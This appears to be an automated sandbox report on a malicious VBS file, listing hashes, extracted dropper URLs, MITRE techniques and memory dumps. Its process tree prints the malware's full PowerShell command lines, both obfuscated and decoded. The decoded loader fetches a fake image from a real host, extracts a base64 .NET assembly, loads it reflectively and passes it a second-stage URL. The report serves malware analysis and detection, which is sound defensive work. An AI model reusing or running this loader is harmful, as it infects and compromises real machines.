ea995ab98439bc4ce6209707650964576c98ad11cd270351d4fbb5d0076bc40f

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
09/10/2023, 13:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

EXX.vbs
Size

209KB
MD5

5d8410c20a0349ff3b5a346180455b76
SHA1

8d1ed5a505bba5df81757273aeef0ff2df403dd7
SHA256

ea995ab98439bc4ce6209707650964576c98ad11cd270351d4fbb5d0076bc40f
SHA512

a7da8ab934ff7779eb9a713eeb9bf0d2a625a620c9c4b621cc6217b0b62b8ce189cbf7d7c92ce6a1876e0d8a030faef78215f9ddc381f377d2b960b8a5ea97f7
SSDEEP

3072:Z/////P/LeDa/////4/////FrqqHFR/////p/////T/////F2/////zA//Bg////:1SrqqHFw

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937

exe.dropper

https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	2564	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
8	powershell.exe
8	powershell.exe
2564	powershell.exe
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	8	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1796 wrote to memory of 8	1796	WScript.exe	85
PID 1796 wrote to memory of 8	1796	WScript.exe	85
PID 8 wrote to memory of 2564	8	powershell.exe	87
PID 8 wrote to memory of 2564	8	powershell.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXX.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre2DgTreDEDgTreNgDgTrevDgTreDYDgTreMDgTreDgTre5DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrecgB1DgTreG0DgTrecDgTreBfDgTreHYDgTreYgBzDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDYDgTreOQDgTre1DgTreDQDgTreMDgTreDgTre4DgTreDkDgTreMwDgTre3DgTreCcDgTreOwDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB3DgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTreuDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreKQDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreRQBODgTreEQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreUwB1DgTreGIDgTrecwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreLDgTreDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreKQDgTre7DgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTregDgTreD0DgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTreuDgTreEcDgTreZQB0DgTreFQDgTreeQBwDgTreGUDgTreKDgTreDgTrenDgTreEYDgTreaQBiDgTreGUDgTrecgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgDgTre3DgTreDYDgTreNgDgTre2DgTreGcDgTreZQDgTrevDgTreGwDgTredDgTreDgTrevDgTreDcDgTreNgDgTrexDgTreC4DgTreMQDgTre2DgTreDEDgTreLgDgTre2DgTreDUDgTreMQDgTreuDgTreDQDgTreOQDgTrevDgTreC8DgTreOgBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGYDgTreZDgTreBmDgTreGQDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZgBkDgTreGYDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZgBkDgTreGYDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreYQBkDgTreHMDgTreYQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBjDgTreHUDgTreJwDgTrepDgTreCkDgTre'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('DgTre','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.7666ge/lt/761.161.651.49//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ncyi5w32.01k.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/8-9-0x0000026A3A520000-0x0000026A3A542000-memory.dmp

Filesize
136KB

Download
memory/8-10-0x00007FFA20720000-0x00007FFA211E1000-memory.dmp

Filesize
10.8MB

Download
memory/8-11-0x0000026A21800000-0x0000026A21810000-memory.dmp

Filesize
64KB

Download
memory/8-12-0x0000026A21800000-0x0000026A21810000-memory.dmp

Filesize
64KB

Download
memory/8-13-0x0000026A21800000-0x0000026A21810000-memory.dmp

Filesize
64KB

Download
memory/8-96-0x0000026A21800000-0x0000026A21810000-memory.dmp

Filesize
64KB

Download
memory/8-78-0x0000026A21800000-0x0000026A21810000-memory.dmp

Filesize
64KB

Download
memory/8-76-0x0000026A21800000-0x0000026A21810000-memory.dmp

Filesize
64KB

Download
memory/8-68-0x00007FFA20720000-0x00007FFA211E1000-memory.dmp

Filesize
10.8MB

Download
memory/2564-30-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-64-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-27-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-32-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-34-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-36-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-38-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-40-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-42-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-44-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-46-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-48-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-50-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-52-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-54-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-56-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-58-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-60-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-62-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-28-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-66-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-26-0x000001C6325B0000-0x000001C6328D2000-memory.dmp

Filesize
3.1MB

Download
memory/2564-69-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-71-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-73-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-75-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-25-0x000001C631710000-0x000001C631720000-memory.dmp

Filesize
64KB

Download
memory/2564-15-0x000001C631710000-0x000001C631720000-memory.dmp

Filesize
64KB

Download
memory/2564-79-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-81-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-83-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-85-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-87-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-89-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-91-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-93-0x000001C6325B0000-0x000001C6328CC000-memory.dmp

Filesize
3.1MB

Download
memory/2564-14-0x00007FFA20720000-0x00007FFA211E1000-memory.dmp

Filesize
10.8MB

Download
memory/2564-99-0x00007FFA20720000-0x00007FFA211E1000-memory.dmp

Filesize
10.8MB

Download
memory/2564-145-0x000001C631710000-0x000001C631720000-memory.dmp

Filesize
64KB

Download
memory/2564-272-0x000001C631710000-0x000001C631720000-memory.dmp

Filesize
64KB

Download